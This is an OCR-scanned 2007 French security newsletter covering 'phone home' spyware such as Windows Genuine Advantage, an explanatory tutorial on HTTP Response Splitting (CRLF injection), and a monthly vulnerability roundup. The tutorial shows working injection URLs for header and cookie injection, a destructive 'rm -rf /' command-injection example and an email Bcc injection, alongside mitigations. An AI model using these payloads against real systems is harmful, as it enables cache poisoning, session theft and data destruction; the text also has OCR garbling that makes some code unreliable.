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Numéro 12 : le chiffre magique...

Il'y a un an, je rédigeais mon édito, pour
le premier numéro de notre newsletter.
Ma volonté était claire : produire un
document de qualité, qui traiterait de I’
informatique de maniére objective et
abordable pour la plupart de nos interlo-
cuteurs.

Un an plus tard, je tiens tout particulie-
rement a remercier mes collaborateurs
pour leurs participations actives a la
réalisation de ce petit magazine, et tout
particulierement 1'un d'entre eux, qui se
reconnaitra. En effet, je peux témoigner
de leurs motivations, mois aprés mois,
pour identifier des thémes, des pistes de
recherches, des schémas, des photos,
etc. Le dernier numéro a été téléchargé
215 fois sur notre site web !

Pas mal pour une newsletter spécialisée
qui ne bénéficie d'aucune publicité...
Enfin bref, cessons Ia I'autosatisfaction,
bien méritée néanmoins.

En ce qui concerne notre approche du
secteur, il me semble que le contexte a
évolué depuis I’année dernicre : en effet,
les prospects que nous rencontrons au-
jourd’hui semblent plus prudents, plus
réceptifs a 1’égard de nos démarches
itératives et étalées dans le temps. Il
semble fini le temps des audits masto-
dontes, des logiciels « usine a gaz » cen-
sés tout faire, parfaitement, en mode
« plug and play ».

' XMCO ’ Partners

Cette prise de conscience sera salvatrice
pour le domaine de la sécurité informa-
tique : en effet, c’est en réalisant & quel
point ce domaine mérite une approche
particuliére et des solutions spécifiques
que nous pourrons enfin répondre aux
attentes de nos clients et de leurs direc-
tions générales.

Pour ce numéro “anniversaire”, il sem-
ble que le numéro 12 occupe une place
particuliére ce mois-ci : 12 vulnérabili-
tés Microsoft, 12 candidats a la prési-
dentielle, 12 numéros de I’actu-sécu...
Faut-il y voir un quelconque présage, un
destin exceptionnel pour notre newslet-
ter ? Nous le souhaitons tous ici !

Je vous laisse désormais parcourir ce
numéro, en espérant secrétement que
vous serez toujours plus nombreux a
nous télécharger. Bonne lecture !

Marc Behar
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Les “Phone Home” : un logiciel espion sur votre ordinateur
Définition

« Phone Home » est une expression employée pour la pre-
miére fois, il y a quelques années, dans le film “E.T” de
Spielberg. Ce terme désigne, aujourd’hui , un type de logi-
ciel d’apparence légitime, qui va discretement communiquer
avec un serveur distant dans le but de récolter des informa-
tions propres aux utilisateurs.

Les éditeurs prétendent utiliser cette fonctionnalité dans un
but purement pratique a savoir: permettre une assistance en
cas de probleme ou transmetire une clef d’autorisation.
Mais I'objectif réel est tout autre. Il réside dans I'obtention
d’informations pertinentes qui contribueront a analyser le
comportement de l'utilisateur afin de mieux comprendre ses
besoins et ses habitudes.
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Des logiciels espions sur
votre ordinateur?

Dans cet article, nous vous
présentons une forme de lo-
giciels espions dont la plu-
part d’entre vous ne soup-
connent méme pas l’exis-
tence. Une grande partie des
internautes commence a pren-
dre conscience du danger des
virus, des malware et des
spyware qui sont diffusés
sur Internet dans le but
d’attaquer votre ordinateur
et de récupérer vos données
sensibles. D'’autres espions
résident aussi continuelle-
ment sur votre ordinateur
sans méme que Vous ne vous
en doutiez...

Quels sont-ils ? D’ou vien-
nent-ils ? Réponses et pré-
sentation des logiciels
«Phone Homen».

XMCO | Partners

Mode de diffusion

Comment ces données sont-elles envoyées ? La transmis-
sion des informations diffusées par ce genre de logiciels est
totalement transparente pour la victime. Une fois connecté
sur Internet, le logiciel, lancé généralement au démarrage
de la machine, va exécuter certaines commandes afin de
récupérer différentes données qui seront envoyées a un
serveur tiers.

Peu d’internautes ont déja pris la peine d’étudier les pa-
quets qui sortent de leur ordinateurs mais vous seriez cer-
tainement surpris par le trafic qui y transite. Aucune crainte
a avoir, la plupart des informations sont légitimes. Seule-
ment quelques données chiffrées y sont jointes. Le but est
de renvoyer un simple paquet pratiquement invisible aux
yeux des utilisateurs les plus avertis.

L’exemple Microsoft
WGA : une simple mise a jour de sécurité?

Le cas de Microsoft, largement relayé dans la presse spé-
cialisée de I'époque, constitue I'affaire de “Phone Homing”
la plus connue.

Vous avez certainement entendu parler de Windows Ge-
nuine Advantage (ou WGA). Ce logiciel de sécurité: dispo-
nible depuis juin 2006, vérifie la Iégitimité de votre version
de Windows (dans le cas inverse, vous installez des logi-
ciels sans méme en connaitre le nom !). En d’autres termes,
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il vous donne le droit d’accéder au téléchargement de cer-
tains logiciels et de certaines mises a jour de sécurité...

Ce logiciel, considéré comme une mise a jour de sécurité
par Microsoft, n’est pas seulement un outil d’authentifica-
tion. En effet, il inclut aussi un logiciel espion qui se con-
necte & chaque démarrage. Il envoie, a votre insu, des in-
formations a la maison mére de Microsoft.

Intéressant...

CCTV

in operation

Résumé des épisodes précédents : avril 2006 le
début de P’affaire WGA

Revenons en avril 2006. Le scandale éclate au grand jour.
Un utilisateur s’apercoit que des données étranges sont
émises par son ordinateur. Des outils d’écoute réseau dé-
montrent bien que WGA envoie périodiquement des infor-
mations a certains serveurs contrélés par Microsoft.

Le programme fait alors I'objet d’une procédure en justice.
Le plaignant se base sur le fait que WGA doit étre assimilé a
un spyware, logiciels espions strictement interdits aux Etat-
Unis. La plainte concerne une violation de la Iégislation an-
tispyware ainsi que des clauses de droit a la consommation
en vigueur dans les états de Californie et de Washington.

Le plaignant exige alors des dommages et intéréts d'un
montant indéterminé. Il demandera aussi a obtenir le statut
de "Class Action" (ou d'action collective).

Le logiciel de Microsoft s'avérera étre un spyware puissant
et bien réel. Il donne, en effet, des informations sur la confi-
guration d'un systéme, la marque, le modele, les parame-
tres régionaux, les clés d'identification produit, l'identifiant
unique global (GUID), le nom, le numéro de révision du
Bios, ainsi que le numéro de série du disque dur. Il est inté-
ressant de noter que tous ces éléments sont récupérés
quotidiennement.

Un texte avait bel et bien été prévu pour signaler cet
échange d’'informations, mais seulement lors de la premiere
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authentification et non a chaque démarrage de l'ordina-
teur...

D’apres le géant bleu, WGA "ne recueille et n'envoie au-
cune information qui pourrait étre utilisée pour identi-
fier ou contacter un utilisateur" .

Lorsque Microsoft prit conscience de I'effet dévastateur que
cette action en justice pourrait avoir sur son image de mar-
que, il décida de modifier la configuration de ce logiciel ainsi
que le texte de la licence. Désormais, le logiciel ne se con-
nectera plus qu’a chaque mise a jour de sécurité, et ce afin
de désactiver peu a peu le service.

Les informations envoyées sont a premiére vue inintéres-
santes mais que diriez-vous si votre nom, vos logiciels pira-
tés, votre adresse IP ainsi que le nom de votre fournisseur
d’accés étaient envoyés puis communiqués aux éditeurs et
aux services de Police ?

Que deviennent donc ces informations une fois stockées sur
les serveurs de Microsoft ? Le mystere reste entier.

Mars 2007 : aucun changement a Phorizon...

Nouveau rebondissement dans cette affaire, le 6 Mars
2007, des journalistes allemands du “Heise Security” [1]
déciderent de vérifier les promesses de Microsoft. A I'aide
de Wireshark,anciennement appelé Ethéreal et outil préféré
des pirates en herbe, ils analyserent les données envoyées
par un systeme Windows. Windows Update tente d’installer
la derniere version de WGA et propose a lutilisateur de
confirmer l'installation. Jusqu’ici tout va bien... Cependant,
dés lors que I'on annule la procédure, le syndrome « es-
pion » réapparait et Microsoft est immédiatement averti de
votre action...

Go  Capture  fnalyze Stakistics  Help
@ 8 @ x %8 B« F & BE

¥ Expression... Clear Apply
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67 wi

Destination

01 bytes on wire, 501 bytes captured)

I. Src: vmware_ad:ad:6f (00:0c:29:ad:ad:6f), Dst: vmware_ee:b8:2d (0

74 3e 00 00 3c 45 76 65 6e 74 20 53 408 3d
32 22 20 45 49 3d 22 32 32 22 20 56 3d 22
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..T>. . <E vent SI=
Wn BT "32% e
1.7.0017 .0" H="n
psid7P10 gpixlzPu

Un fichier XML partiellement chiffré est transmis. Il contient
une chaine « SusClientID » ainsi que le type de systeme
utilisé. De plus, un cookie nommé «GUID » est utilisé pour

<tvent SI="12" EI="22" V="1.7.0017.0" H="nFs)d/ PlDgpJx1 ZPuBjadrDY9Ldg=">
<CD/>

<MAIN=

<RC>1</RC>

<PID></PID>

<PIDType>0</PIDType>

<J=0<i)>

<NVC=0</VC>

SWPAHS <AWPAH>

«<05>5.1.2600.2.00010100.2.0.pro</0S>

<ULCID=1031</ULCID>

<SLCID>1031</SLCID>

<DC></DC>

<Ber»1</Bers

<MAIN=

<ID>

<UGD>efbb9b76-f3cf-4196-94c0-165b058d2de3 </UGD>
<HDSLN>0gqvdRSKEITtY zmJWIE3YUhbfg8=</HDSLN>
<CSID=h7nLZ3sxLmmbrEsyds/qS/1 Zak=</CSID>
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contacter le serveur distant. Microsoft serait alors en me-
sure d’identifier les ordinateurs qui refusent d’installer les
mises a jour.

Haut les mains, vous étes cernés !

Quelques uns de nos chers lecteurs comprennent aujour-
d’hui les messages qui arrivent, de temps a autres, sur leur
écran en précisant gentiment que leur version de Windows
XP n’est pas légitime ? « Vous étes victime d'une contre-
facon » ?

' Biioaice S, g Cette copie de Windows n'est pas originale.
Microsoft® 1l 2 peut que vaus soyez victime d'une

contrefagon de logiciel.

original

Et bien détrompez-vous, ce n’est pas un virus comme la
plupart des internautes le pense mais bel et bien le résultat
d’un contréle effectué par I'agent espion...

D’autres exemple chez de grands éditeurs
Itunes également montré du doigt

Bien avant Microsoft, Apple avait aussi été la cible de criti-
ques au sujet de son logiciel ltunes.

Depuis la version 6.0.2 et I'apparition du “MiniStore”, Apple
vous propose des publicités sur des artistes correspondant
a vos godt musicaux.

Comment arrivent-ils a rester proches du domaine musical
que vous écoutez ? Peu de gens se posent ce genre de
questions... Les paranoiaques de la sécurité, si !

ltunes récupére des informations sur les chansons écou-
tées. Il renvoie ensuite votre profil au siege d’Apple qui
adapte le contenu proposé dans I’ “Apple Store”.

Le probleme, mis en évidence, reste le méme. Les informa-
tions ne sont pas obligatoirement critiques. Apple essaye
juste de servir au mieux ses clients. Le probléeme est que la
société de Steeve jobs n’informe pas ses clients de ces
envois discrets...

Une solution : supprimer le “MiniStore”, configuration possi-
ble dans les options d’ltunes (« Hide Ministor » dans le me-
nu « Edit »).

Uttle Snitch

iTunes wants to connect to 192.168.112.207.net
on TCP port 80 (hitp)

Allow or deny connection

_ once

& until iTunes quits
forever

Condition: Same Port
Zone Alarm utilisé par la NSA ?
Enfin, en janvier 2006, Zone Alarm avait également attiré

I’attention d’utilisateurs. La version 6.0 envoyait également
des données chiffrées a quatre serveurs différents. Cette
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INF0...

WGA cracké par un groupe
de pirates

Microsoft®
software

Windows Genuine Advantage est un logiciel qui permet de
vérifier la validité d'une licence de Windows en analysant
la clef d'un systéme avec la base de données des licences
pirates.

Une fois I'authentification réalisée, |'utilisateur est autorisé
a télécharger les mises a jour ainsi que d’autres outils
Windows.

Ennuyeux pour les utilisateurs illégaux de Windows...

Le groupe de pirates ETHO s’est rapidement penché sur le
probléme et a développé un “crack” qui modifie plusieurs
fichiers “legitcheckcontrol.dll”, “WgalLogon.dll”,
“Wgatray.exe”. Un fichier “.bat” réalise l'opération en
quelques secondes.

Ce dernier est bien entendu disponible sur Internet.

nouvelle a, durant quelques temps, alimenté la rumeur de la
Backdoor créée par la NSA pour espionner les citoyens
ameéricains.

Clonclusion

Faut-il entrer dans une psychose constante et analyser tous
les flux qui sortent de votre ordinateur ? Des sociétés pro-
posent déja ce genre de produits. Ces derniers vous aver-
tissent dés qu’une connexion est établie sur un serveur dis-
tant en précisant: le nom du logiciel douteux et I'adresse IP
du serveur ciblé.

Ce phénomeéne n’est pas anodin. Certains éditeurs ont
méme dépassé€ des limites a linstar de Sony et de son
«rootkit» (voir notre article dans I’Actu Sécu n°3) initialement
utilisé pour la gestion des droits musicaux. Or ce «rootkit» a
été exploité par le cheval de Troie «Stinx-E» dans le but de
compromettre certaines machines.

Du point de vue de la sécurité, la confidentialité des don-
nées personnelles est donc remise en cause et bien que les
« Phone Home » soient rapidement identifiés, la méfiance
doit étre de mise...

Bibliographie
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Les attaques “HTTP Res-
onse Splitting”

Ce mois-ci, nous allons
vous dévoiler une autre
technique de piratage ap-
plicatif. Elle exploite
une faiblesse du proto-
cole HTTP.

Cette attaque, souvent
méconnue, doit sérieuse-
ment étre prise au sé-
rieux car elle touche une
vaste population de ser-
veurs web, de logiciels
et de proxies.

Nous tenterons de vous
présenter clairement
cette attaque baptisée
«HTTP Response Splitting»
(Séparation de requéte
HTTP) via des exemples
concrets.

XMCO Partners

Rappel
Fonctionnement d’une requéte/réponse du
protocole HTTP

Avant de nous lancer dans le détail des techniques d’atta-
ques, rappelons quelques concepts du protocole HTTP.
Vous pouvez passer au paragraphe suivant si vous étes un
connaisseur.

Lorsque vous visitez certains sites, vous demandez au ser-
veur web de vous envoyer le contenu d’'une page en sou-
mettant une url du type :

http://www.site.com/index.php?menu=choixl

La requéte envoyée par votre navigateur web est constituée
de nombreuses informations (page demandée, méthode
utilisée, version du protocole HTTP, domaine, type de navi-
gateur utilisé par le client, cookie de session si besoin est
...). Dans la suite de cet article, les requétes envoyées par
le client seront matérialisées par un cadre rouge et les ré-
ponse du serveur par un cadre jaune.

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;g=0.8,image/png,*/*;q=0.5

Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: 1ISO-8859-1,utf-8;0=0.7,*;=0.7

Referer: http://www.site.com/

Cookie: BX=d0p806t2slsi8&b=3&s=17

© XMCO Partners - 2007
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Si le serveur web héberge réellement la page demandée, il
vous renverra la réponse suivante :

HTTP/1.1 200 OK

Date: Sat, 17 Mar 2007 16:31:52 GMT

Server: Apache/ProXad [Dec 3 2006 11:06:18]
X-Powered-By: PHP/4.4.3-dev

Connection: close

Content-Type: text/html

Chaque champs de l'entéte HTTP est délimité par deux
caractéres CR (Carriage Return « \r » ou Retour Chariot en
francais) et LF (Line Feed qui indique qu'il y a lieu de passer
a la ligne suivante : « \n »). Cette association de caracteres
est considérée par de nombreuses applications et de nom-
breux protocoles comme des délimiteurs.

Lors du traitement, dés que cette suite de caractéres est
identifiée, le programme retourne simplement a la ligne. Le
dernier champs d’une requéte HTTP est alors suivi de deux
entrées CRLF pour indiquer la fin de I'entéte et le début du
corps de la page.
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Redirection

La redirection est définie par une fonction qui insére un
nouveau champs (Location) dans I'entéte HTTP afin d’indi-
quer au navigateur vers quelle page ce dernier va se diriger.

Petit exemple : Voici le code d’'une page PHP nommée
« redir.php » qui accepte, en parametre, un argument utilisé
pour définir I'url vers laquelle I'utilisateur va étre redirigé.

<?
header (" Locat i on:
htt p: // ww. xntopart ner s. coni got 0. php?i d="

$ CGET["id'] );
?>"

Dans notre cas, nous essayons d’atteindre
/redir.php?id=menu du serveur « xmcolabs ».

la page

Requéte : http://www.xmcolabs.com/redir.php?id=menu

UA-CPU: x86

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)

Host: www.xmcolabs.com

Proxy-Connection: Keep-Alive

Réponse du serveur «X¥mcolabsB]

HTTP/1.1 302 Found

Date: Wed, 21 Mar 2007 16:41:52 GMT

Server: Apache/1.3.33 (Win32) PHP/4.3.10
X-Powered-By: PHP/4.3.10

Location: http://www.xmcopartners.com/goto.php?id=menu

Content-Type: text/html

Nous voyons, ici, que le code de la réponse est 302. Celui-
ci indique au navigateur que le contenu souhaité est sur une
autre page. L’entéte contient alors un champs “Location” qui
reprend le paramétre « Menu » de notre requéte et le reco-
pie dans l'url vers laquelle nous sommes redirigés.

La réponse de ce serveur contient une partie de I'url que
nous avons demandée... Le serveur est donc potentielle-
ment vulnérable....

Lattaque “HTTP Response Splitting”
Définition

Cette technique a été baptisée «HTTP Response Splitting» .
Elle est également appelée injection CRLF, a ne pas con-
fondre avec CSRF, 'attague que nous vous avons présen-
tée le mois dernier. Comme son nom l'indique, le but de
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cette attaque est d’envoyer des requétes HTTP contenant
des caracteres CR (0xOD en ASCII) et LF ( 0xOA en ASCII).
Ces derniers vont induire en erreur les équipements qui
traiteront la réponse du serveur.

En d’autres termes, le pirate va créer une longue url conte-
nant des caractéres spéciaux. La réponse renvoyée par le
serveur va étre scindée en deux par le proxy ou bien par le
navigateur qui est chargé d’analyser cette réponse.

Un exemple

Dans certains cas (en particulier pour les redirections), la
réponse du serveur va inclure I'url demandée au sein du
parametre « Location ». L'enjeu de la réussite de l'attaque
se situe a cet endroit précis. D’autres paramétres peuvent
étre utilisés pour mener cette attaque. Nous étudierons,
cependant, le cas précis du parametre Location.

Reprenons notre requéte :
http://www.xmcolabs.com/redirect.php?id=menu
En changeant la fin de cette url, avec l'insertion de caracte-
res CR et LF (%0d%0a) et les champs d'une réponse (Con-
tent-Lenght, Content-Type), l'url, entrée dans notre barre
d'adresse, sera du type :

http://www.xmcolabs.com/redir.php?id=menu%0d
20aContent-Lenght:%$200%0d%0a%0d%0a%20HTTP/1.

1%20200%200K%0d%0aContent-Type:text/html1%0d%

OaContent-Lengh:%207%0d%0a%0d%0a<html>Inje
ction<html>

La requéte envoyée (que nous nommerons “X”) est donc
une requéte GET :

aHTTP/1.1%20200%200K%0d%0aContent-Type:text/htmI%0
d%0aContent-Lengh:%207%0d%0a%0d%0a<htmi>Injecti
on<htmi> HTTP/1.1

Le serveur web devrait renvoyer théoriquement la réponse
suivante qui inclut la majeure partie de notre requéte dans
le champs location :

HTTP/1.1 302 Found

Date: Wed, 21 Mar 2007 16:54:29 GMT

Server: Apache/1.3.33 (Win32) PHP/4.3.10

X-Powered-By: PHP/4.3.10

Location: http://www.xmcopartners.com/goto.php?id=
menu%0d%0aContent-Lenght:%200%0d%0a%0d%0a%20H

TTP/1.1%20200%200K%0d%0aContent-Type:text/html|%0d
%0aContent-Lengh:%207%0d%0a%0d%0a<htmI>Injection<
html>

Content-Type: text/html
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Cependant, en traitant la demande du client (conversion des
caracteres “%0d%0a” par un retour en ligne et “%20” par un
espace), le serveur ne vérifie pas les entrées de I'utilisateur
ni la présence de caracteres spéciaux. ll traite la demande
normalement et retourne a la ligne dés qu'il trouve les ca-
racteres CRLF. La réponse va donc étre de la forme sui-
vante.

HTTP/1.1 302 Found

Date: Wed, 21 Mar 2007 16:54:29 GMT
Server: Apache/1.3.33 (Win32) PHP/4.3.10
X-Powered-By: PHP/4.3.10

Location: http://www.xmcopartners.com/goto.php?id= menu
Content-Length:0

HTTP/1.1 200 OK
Content-Type:text/html
Content-Lengh:21
<htmI>Injection<html>
Content-Type: text/html

Le premier champs "Content-Lenght" a une valeur de 0. Le
navigateur ou proxy interpréte cette donnée comme la fin
d'une premiére réponse (réponse “ X' “). La partie verte
constituera une seconde réponse (“ X" ”).

Au cas ou le client enverrait une seconde requéte au sein
de la méme session HTTP (depuis la version 1.1), le navi-
gateur (ou proxy) considérera que la partie verte (“ X” ”)
correspond a la réponse de cette nouvelle requéte.

Cette réponse inclura la page HTML malicieuse que nous
avons injecté (<html> Injection </html>).

L'insertion de caracteres CR et LF a donc forcé le serveur
web a renvoyer, a son insu, deux réponses distinctes.

Maintenant que la théorie de cette méthode d'attaque est
détaillée, voici une idée du genre de malversations qui peut
étre meneée...

Quels sont les objectifs de cette attaque?

Cette attaque est utilisée par les pirates dans plusieurs buts.
Les conséquences different en fonction de la cible. En effet,
en visant un proxy cache, I'url envoyée pour attaquer un
utilisateur ou pour attaquer directement le serveur web sera
différente.

Etudions les possibilités qui sont offertes (Cache Poison-
ning, Cross Site Scripting, Cross-User Defacement).

Cache Poisonning

Le Cache Poisonning consiste a forcer un serveur a mettre
dans son cache des données malicieuses qui seront par la
suite demandées par un autre client.

Reprenons I'exemple décrit dans le paragraphe précédent.
Imaginons que deux requétes soient envoyées dans une
méme session. Il est possible de forcer le serveur a ren-
voyer deux réponses. La seconde contiendra le code HTML
d’une page créée par le pirate.

Cette réponse verte peut aussi étre renvoyée par le serveur
web vers un proxy. Ce dernier verra une requéte légitime
arrivée en provenance du serveur web et stockera le conte-
nu de cette page dans son cache. Les prochains clients qui

© XMCO Partners - 2007

demanderont la page obtiendront donc une page mali-
cieuse.

Cross Site Scripting

Apres lidentification d’une telle faille, une autre possibilité
est offerte a I'attaquant. En effet, maintenant qu’il est possi-
ble de modifier a souhait le contenu de la seconde réponse
du serveur, il suffit d’injecter un code Javascript. Ce dernier
pourra forcer le navigateur du client a renvoyer le cookie de
session vers un serveur pirate.

Vol d’informations

Ce dernier cas est relativement difficile a installer car il né-
cessite un timing précis. Dans un cas idéal, un pirate pour-
rait manipuler et intercepter les données renvoyées par le
serveur web vulnérable.

Certains types de proxies optimisent leurs requétes en mu-
tualisant deux requétes destinées a un méme serveur web.
Si deux utilisateurs demandent deux pages du méme site
au méme moment, le proxy n’établit qu'une seule con-
nexion. Une fois les données récupérées, il redistribue les
pages au bon utilisateur. Avec deux requétes envoyées par
I’'attaquant, le vol d’information est potentiellement imagina-
ble.

INF)...

De nombreuses applications encore vulnéra-
bles

Bien que cette faille de sécurité soit
relativement vieille (2004), les édi-
teurs corrigent encore de telles vulné-
rabilités. 48 failles de sécurité ont
été découvertes lors des 3 derniére an-
nées or elles affectent les principaux
logiciels du marché : SAP, Oracle, Fo-
rums PHP, Squid, Tivoli, Lotus Notes,
etc.

Sun est le dernier exemple en date. Au
début du mois de Mars, une nouvelle ver-
sion du logiciel Websphere Application
Server a été publiée, corrigeant au pas-
sage une vulnérabilité de ce genre...
L’exploitation est donc toujours d’ac-
tualité...

és "HTTP
depuis 2004

Evolution du nombre de
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LA PREUVE PAR LEXENIPLE...

Scénario d’attaque dans le but d’intercepter la réponse d’une requéte HTML destinée a un autre utili-

sateur. Cet exemple décrit un scénario idéal.

Etape 1 : Des requétes sont envoyées au serveur web

Etape n™1 : envoi de 3 requites

& ( ; ) Envoi d'une requéte X malicieuse
@ L’attaquant envoie une requéte “X”
malicieuse vers le serveur web.

f\i\) Envoi d'une requéte Z
legitime

’.’ La victime envoie en méme temps
une requéte “Y” Iégitime vers le serveur
web. -
) - . { 2 ) Envoi d'une requéte Y légitime
@ L’attaquant envoie une requéte “Z” i

Iégitime vers le vers le serveur web. Utilisateur

Etape 2 : Le serveur s’acquitte des trois requétes par des réponses distinctes sans filtrer les entétes :

Etape n°2 : Réponse du serveur web vers le proxy

Réseau Local

SERVEUR WEB

L] Réseau Local
@ Une réponse “x” pour la requéte “X”.

L ) .
@ Une réponse “y” pour la requéte “Y”. @!

Réponse x qui sera interpritée
comme deux réponses par le proxy

e 3 I Réponse z
= * -+

T 2 “oyn Atp “7Y Pirate &4 =

2 Une réponse “z” pour la requéte “Z”. Internet m e

3

Utilisateur

intercepte toutes ces réponses et les distribue vers les clients en fonction de 'ordre d’arrivée :

/ Etape n°3 : Interprétation des réponses par le proxy et renvel des réponses vers les clients

SERVEUR WEB

N

La réponse “x” est divisée en deux o
< «“ » I 9 4 >
réponses “X1” et “X2”. L Riones  ast intarpeside conete Réseau Local =
L ] ﬂ Réponse x1 de la requéte X o r:::::‘:s;:; e <<
™ “X1” est destinée a I'attaquant 2 Pyt
® Pirate - Réponse x malicieuse &
@) “X2” est destinée a la victime L]
® Réponse y de la requéte Z Réponse z % 3 Z
™) “y” est destinée a I'attaquant SERVEUR WEB 0
Réponse y -
an
La derniére réponse “Z” est rejetée. Repongoxd ds la requeta | O
| E J e /\
\ Utilisateur Le serveur a répondu aux 3 requites du /
client et rejéte la réponse z Vy
S ry
Résultat : I'attaquant recoit la page qui €était destinée a la victime.
© XMCO Partners - 2007 [81]
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Les solutions
Comment parer d’éventuelles attaques?

La plupart des logiciels, serveurs web ou proxies ont déja
corrigé cette faille de sécurité. Vous retrouverez d’ailleurs la
liste des vulnérabilités CRLF corrigées a I'adresse citée en
référence.

Les méthodes sont relativement simples et peuvent facile-
ment étre implémentées. Le premier conseil est de ne ja-
mais faire confiance aux entrées des utilisateurs. En analy-
sant correctement et en interdisant certains caractéres spé-
ciaux dans chacune des entrées fournies par le client, votre
application fera face aux injections CRLF (caracteres “%0d
%0a”), aux attaques de Cross Site Scripting (caracteres
“<>") et aux injections SQL (', »...).

Le module «mod_security» présenté dans notre numéro 8
de I’Actu-Secu, permet justement de traiter correctement les
entrées utilisateurs.

Enfin, il est également possible d’interdire tout caractéere
CRLF contenu dans les entéte de réponses http.

Mon application est-elle vulnérable?

Il existe des moyens et des outils spécialisés dans la détec-
tion de telles failles. Les scanners applicatifs sont d’ailleurs
efficaces dans ce domaine. Mais peut-on identifier simple-
ment de telles problémes avec un simple navigateur? La
réponse est oui !

La méthode a été récemment proposée par le gourou de ce
type d’attaque M. Amit Klein.

L’idée est simple. Au lieu de tester I'application avec une
requéte excessivement longue, il suffit de démontrer com-
ment un nouvel entéte usurpé peut étre injecté. Cette tech-
nique semble fonctionner 9 fois sur 10.

Nous allons simplement tenter d’injecter un cookie avec la
requéte suivante :

http://www.xmcolabs.com/id=menu%0d%0aSet-Coo
kie :%20HTTP_response_splitting%3dYES%0d%0aF
oo:%20bar

L’url qui nous intéresse sera injectée au sein du parametre
«id=» afin de forcer le serveur a renvoyer la réponse suivan-
te:

HTTP/1.1 302 Found

Date: Wed, 21 Mar 2007 18:00:03 GMT

Server: Apache/1.3.33 (Win32) PHP/4.3.10

X-Powered-By: PHP/4.3.10

Location: http://www.xmcopartners.com/goto.php?id=menu

Set-Cookie: HTTP_response_splitting=YES
Foo: bar
Content-Type: text/html

En utilisant une fonctionnalité des navigateurs (sous IE
->0Outils >Option ->Confidentialit¢->Avancé), nous pour-
rons savoir si hous recevons le cookie HTTP_response_s-
plitting=YES.

© XMCO Partners - 2007

Le site testé est donc potentiellement vulnérable car il ren-
voie la réponse suivante et attribue le cookie «<HTTP_res-
ponse_splitting=YES».

Conclusion

L’attaque HTTP Response Splitting est une technique peu
employée par les pirates car elle requiert un certains nom-
bre de parametres ainsi qu’un timing précis. Il est néces-
saire de connaitre ce genre de problémes car ces derniers
sont rencontrés par de nombreux proxies et de nombreux
serveurs web. Des correctifs ont, certes, été publiés mais
les mécanismes de protection restent encore perfectibles.

Bibliographie

2k Vulnérabilité d’injection CRLF corrigées :
http://secunia.com/search/?search=response+splitting

2k_White Paper de Amit Klein
http://www.packetstormsecurity.org/papers/general/whitepap
er_httpresponse.pdf

INI0)...

Linjection de caractére CRLF utilisée dans
d’autres buts...

Les injections CRLF peuvent étre utili-
sées dans de nombreux cas.

Nous avons vu le fonctionnement applica-
tif d'un serveur web. Il est également
possible de soumettre de tels caractéres
en entrée de programme. Une application
vulnérable a une injection CRLF et qui
accepte des arguments comme "ls -a", se-
rait bernée par la commande suivante :
ls -a File.txt<CR><LF>rm -rf /

L'application exécuterait 1la commande
"ls -a File.txt" puis "rm -rf" (suppres-
sion de tous les fichiers du répertoire
courant).

Méme remarque pour certains sites web
qui offrent la possibilité d'envoyer des
courriers électroniques sans en connai-
tre le destinataire via des formulai-
res). En entrant dans le champs "Sujet"
la ligne ci-dessous :

Subject: Offre d'emplois <CR><LF>Bcc:

L'application va soumettre ces données
qui seront converties en un email SMTP
formaté. Les différents champs étant sé-
parés par des caracteres CRLF, une copie
cachée sera discrétement envoyée au pi-
rate qui obtiendra donc 1l'email du des-
tinataire en question.
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Tendance de P’activité mali-
cieuse d’Internet :

Ce mois de Février a été
marqué par plusieurs
failles critiques mettant
en péril la sécurité des
postes client mais aussi
des serveurs accessibles
sur Internet.

En effet,
nérabilité
Google,
veurs

aprés une vul-
critique dans
Desktop, les ser-
Solaris ainsi que
les serveurs Web Jboss
sont victimes d’une
faille étonnante.

Explications..

XMCO Partners

Les vulnérabilités des postes clients
Microsoft encore et toujours

gLes failles du mardi noir

A l'occasion de son mardi noir mensuel, pas moins de 12
failles de sécurité ont été corrigées par Microsoft. Les logi-
ciels phare du géant ont été mis a jour : Internet Explorer,
les logiciels de sécurité (Defender, One Care...) et Word
ainsi que des composants de Windows (Step-by-Step,

Voici les deux captures:

L’objectif du pirate est d’inciter un utilisateur a visiter un site
malicieux qui utilisera un script pour “bloquer” 'utilisateur au
sein d’une matrice.

Sceénario d’attaque :

L’utilisateur navigue sur un site Internet qui recommande de
vérifier si les comptes des utilisateurs de GMAIL n’ont pas
été piratés suite a la publication d’exploit “0day”.

Shell, MFC...).
Plusieurs vulnérabilités résultaient d’erreurs générées
par le traitement d’objet OLE malformés. Le but des
attaques est d’inciter un utilisateur a ouvrir un document
RTF contrefait.

Toutes ces failles nécessitaient I'intervention de I'utilisa-
teur et donc touchaient particulierement les postes
clients.

glnternet Explorer : la cible privilégiée des
attaques de Phishing

Une autre vulnérabilité a été publiée a la fin du mois
pour Internet Explorer 7. La fonction «OnUnload» pou-
vait étre détournée de son utilisation normale afin
«d’empécher» un utilisateur de quitter un site malicieux.
Une fois sur le site contrefait, toute adresse entrée dans
le champs prévu a cet effet renvoyait I'utilisateur vers
une page créée par I'attaquant. \
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Tout utilisateur consciencieux va immédiatement vérifier
l'intégrité de son compte GMAIL. Le pirate qui exploite la
vulnérabilité d’Internet Explorer dirige la victime vers une
page GMAIL contrefaite sans que la victime ne s’en rende
compte car la barre d’adresse correspond a

www.gmail.com. .
'l
A Partmeid - Securing Infoimatique - Wisdows lntesnet Expleer ’

K

Sign up for Guail

Les données sont alors dérobées et renvoyées a l'atta-
quant. Cette vulnérabilité n’a pas éte corrigée par Microsoft.
Nous vous recommandons donc de fermer puis d’ouvrir a
nouveau votre navigateur avant de consulter un site sensi-
ble.

Google Desktop : le protégé
de Google critiqué

La société Watchfire est mondialement

connue pour ses whitespapers et son expertise dans le mi-
lieux de la sécurité informatique. Elle a démontré avec une
vidéo publiée sur Internet comment un poste qui implé-
mente Google Desktop pouvait étre compromis. Google
Desktop est un logiciel qui permet d’indexer le contenu de
son ordinateur pour effectuer, a I'aide de l'interface de Goo-
gle, des recherches de fichiers. Un onglet «Desktop» est
ainsi ajouté a la page d’accueil du moteur de recherche.
Cette fonctionnalité utilise un serveur web local qui se char-
gera de trouver vos e-mails, vos répertoires et vos fichiers
indexés.

L’origine de la faille est une vulnérabilité de Cross Site
Scripting présente dans le champs de recherche. Les argu-
ments passés a la fonction «under» (qui permet de recher-
cher les documents d’un répertoire) n’étaient pas contrélés .
